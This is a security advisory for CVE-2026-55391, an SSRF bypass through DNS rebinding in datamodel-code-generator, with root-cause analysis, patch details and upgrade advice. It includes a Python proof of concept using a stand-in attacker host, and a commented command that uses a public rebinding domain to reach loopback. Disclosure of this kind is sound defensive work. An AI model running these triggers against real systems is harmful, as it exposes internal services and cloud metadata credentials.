high · 7.5CVE-2026-55391Jul 28, 2026

CVE-2026-55391: datamodel-code-generator SSRF Protection Bypass via DNS Rebinding

Rohit Hatagale
AI Security Researcher, SecureLayer7

datamodel-code-generator validates a URL's resolved IP once before fetching, but lets httpx re-resolve the hostname independently, so an attacker-controlled DNS record that flips from a public IP to…

Packagedatamodel-code-generator
Ecosystempip
Affected<= 0.62.0
Fixed in0.63.0
CVE-2026-55391: datamodel-code-generator SSRF Protection Bypass via DNS Rebinding

The problem

In src/datamodel_code_generator/http.py, get_body() calls _validate_url_for_fetch(), which resolves the target hostname with socket.getaddrinfo and rejects non-global addresses. It then calls httpx.get(current_url, ...) with no transport constraint, so httpx performs its own independent DNS resolution.

Nothing ties the connection to the IP that was validated. A hostname with a TTL of 0 or 1 second can resolve to a public address during the guard check and to 127.0.0.1 (or 169.254.169.254) by the time httpx connects. This reaches loopback, cloud instance-metadata endpoints, and any internal HTTP service, even with the default allow_private_network=False.

The attack surface includes --url and any remote $ref in a supplied schema.

Proof of concept

A working proof-of-concept for CVE-2026-55391 in datamodel-code-generator, with the exact payload below.

python
# Structural PoC (derived from reporter's gist and advisory description).
# Patches socket.getaddrinfo to simulate DNS rebinding:
# - validation call sees 1.2.3.4 (public, passes guard)
# - httpx connection call sees 127.0.0.1 (internal, hits loopback server)

import socket
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from unittest import mock

from datamodel_code_generator.http import get_body

# 1. Stand up a loopback server representing the internal target
INTERNAL_RESPONSE = b'{"type": "object", "properties": {"secret": {"type": "string"}}}'

class InternalHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(INTERNAL_RESPONSE)
    def log_message(self, *a): pass

server = HTTPServer(("127.0.0.1", 18080), InternalHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()

# 2. Patch getaddrinfo: first call (validation) returns public IP;
#    subsequent calls (httpx) return loopback.
call_count = 0
real_getaddrinfo = socket.getaddrinfo

def patched_getaddrinfo(host, port, *args, **kwargs):
    global call_count
    if host == "rebind.attacker.example":
        call_count += 1
        if call_count == 1:
            # Guard sees a public, globally-routable address -- passes validation
            return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", ("1.2.3.4", port or 80))]
        else:
            # httpx sees loopback -- connects to the internal server
            return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", ("127.0.0.1", 18080))]
    return real_getaddrinfo(host, port, *args, **kwargs)

with mock.patch("socket.getaddrinfo", side_effect=patched_getaddrinfo):
    body = get_body("http://rebind.attacker.example/schema.json")
    print("[+] SSRF succeeded. Got internal response:")
    print(body)

server.shutdown()

# Real-world trigger (no patching needed -- use a low-TTL rebinding domain):
# datamodel-codegen --url http://<rebinding-hostname>/schema.json --output model.py
# e.g. using a service like 1u.ms:
# datamodel-codegen --url "http://make-1.2.3.4-rebindfor0safter1times-127.0.0.1-rr.1u.ms/schema.json" --output model.py

The root cause is a TOCTOU gap: _validate_url_for_fetch() resolves the hostname and checks the IP, then discards that result. httpx.get() re-resolves the same hostname string from scratch with no binding to the validated address set (CWE-367 / CWE-350).

The patch at commit 25c8b7e introduces DNS pinning: the validated IP(s) from socket.getaddrinfo are passed into a custom httpx transport (or equivalent connection override) so the actual TCP connection is forced to the same address that was checked. The hostname-to-IP resolution happens exactly once, closing the rebinding window entirely.

The advisory's own PoC gist (thegr1ffyn/c1d54dd6ff2a4c0d7d0dabe00c4985f4) uses the same getaddrinfo monkey-patch technique as the payload above. This proves the structural gap without needing a live rebinding DNS server.

The fix

Upgrade to datamodel-code-generator 0.63.0 or later. The patch (commit 25c8b7e497419eb20b230fa3318c04f9bebc5a6f) pins the IP resolved during SSRF validation to the transport used by httpx, so a single DNS resolution is used for both the check and the connection.

Versions 0.62.0 and earlier are affected. If immediate upgrade is not possible, avoid passing attacker-influenced URLs via --url or in schemas with remote $refs.

Reported by Hamza Haroon (thegr1ffyn).

References: [1][2][3][4]

Related research